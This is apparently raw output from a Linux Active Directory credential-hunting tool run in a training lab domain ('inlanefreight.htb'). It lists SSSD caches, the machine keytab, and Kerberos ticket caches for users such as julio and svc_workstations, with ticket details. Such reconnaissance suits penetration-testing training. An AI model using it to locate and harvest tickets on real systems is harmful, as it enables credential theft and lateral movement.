-rw-r--r-- 1 root root 959 Mar  4  2020 /etc/pki/fwupd-metadata/GPG-KEY-Linux-Vendor-Firmware-Service
-rw-r--r-- 1 root root 1679 Mar  4  2020 /etc/pki/fwupd-metadata/LVFS-CA.pem
I: [sss-check] SSS AD configuration
-rw------- 1 root root 1609728 Oct 10 19:55 /var/lib/sss/db/timestamps_inlanefreight.htb.ldb
-rw------- 1 root root 1286144 Oct  7 12:17 /var/lib/sss/db/config.ldb
-rw------- 1 root root 4154 Oct 10 19:48 /var/lib/sss/db/ccache_INLANEFREIGHT.HTB
-rw------- 1 root root 1609728 Oct 10 19:55 /var/lib/sss/db/cache_inlanefreight.htb.ldb
-rw------- 1 root root 1286144 Oct  4 16:26 /var/lib/sss/db/sssd.ldb
-rw-rw-r-- 1 root root 10406312 Oct 10 19:54 /var/lib/sss/mc/initgroups
-rw-rw-r-- 1 root root 6406312 Oct 10 19:55 /var/lib/sss/mc/group
-rw-rw-r-- 1 root root 8406312 Oct 10 19:53 /var/lib/sss/mc/passwd
-rw-r--r-- 1 root root 113 Oct  7 12:17 /var/lib/sss/pubconf/krb5.include.d/localauth_plugin
-rw-r--r-- 1 root root 40 Oct  7 12:17 /var/lib/sss/pubconf/krb5.include.d/krb5_libdefaults
-rw-r--r-- 1 root root 15 Oct  7 12:17 /var/lib/sss/pubconf/krb5.include.d/domain_realm_inlanefreight_htb
-rw-r--r-- 1 root root 12 Oct 10 19:55 /var/lib/sss/pubconf/kdcinfo.INLANEFREIGHT.HTB
-rw------- 1 root root 504 Oct  6 11:16 /etc/sssd/sssd.conf
I: [vintella-check] VAS AD configuration
I: [pbis-check] PBIS AD configuration
I: [samba-check] Samba configuration
-rw-r--r-- 1 root root 8942 Oct  4 16:25 /etc/samba/smb.conf
-rw-r--r-- 1 root root 8 Jul 18 12:52 /etc/samba/gdbcommands
I: [kerberos-check] Kerberos configuration
-rw-r--r-- 1 root root 2800 Oct  7 12:17 /etc/krb5.conf
-rw------- 1 root root 1348 Oct  4 16:26 /etc/krb5.keytab
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 10 19:55 /tmp/krb5cc_647401106_HRJDux
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1414 Oct 10 19:55 /tmp/krb5cc_647401106_R9a9hG
-rw------- 1 carlos@inlanefreight.htb domain users@inlanefreight.htb 3175 Oct 10 19:55 /tmp/krb5cc_647402606
I: [samba-check] Samba machine secrets
I: [samba-check] Samba hashes
I: [check] Cached hashes
I: [sss-check] SSS hashes
I: [check] Machine Kerberos tickets
I: [sss-check] SSS ticket list
Ticket cache: FILE:/var/lib/sss/db/ccache_INLANEFREIGHT.HTB
Default principal: LINUX01$@INLANEFREIGHT.HTB

Valid starting       Expires              Service principal
10/10/2022 19:48:03  10/11/2022 05:48:03  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
    renew until 10/11/2022 19:48:03, Flags: RIA
    Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types: 
I: [kerberos-check] User Kerberos tickets
Ticket cache: FILE:/tmp/krb5cc_647401106_HRJDux
Default principal: julio@INLANEFREIGHT.HTB

Valid starting       Expires              Service principal
10/07/2022 11:32:01  10/07/2022 21:32:01  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
    renew until 10/08/2022 11:32:01, Flags: FPRIA
    Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types: 
Ticket cache: FILE:/tmp/krb5cc_647401106_R9a9hG
Default principal: julio@INLANEFREIGHT.HTB

Valid starting       Expires              Service principal
10/10/2022 19:55:02  10/11/2022 05:55:02  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
    renew until 10/11/2022 19:55:02, Flags: FPRIA
    Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types: 
Ticket cache: FILE:/tmp/krb5cc_647402606
Default principal: svc_workstations@INLANEFREIGHT.HTB

Valid starting       Expires              Service principal
10/10/2022 19:55:02  10/11/2022 05:55:02  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
    renew until 10/11/2022 19:55:02, Flags: FPRIA
    Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types: 
I: [check] KCM Kerberos tickets
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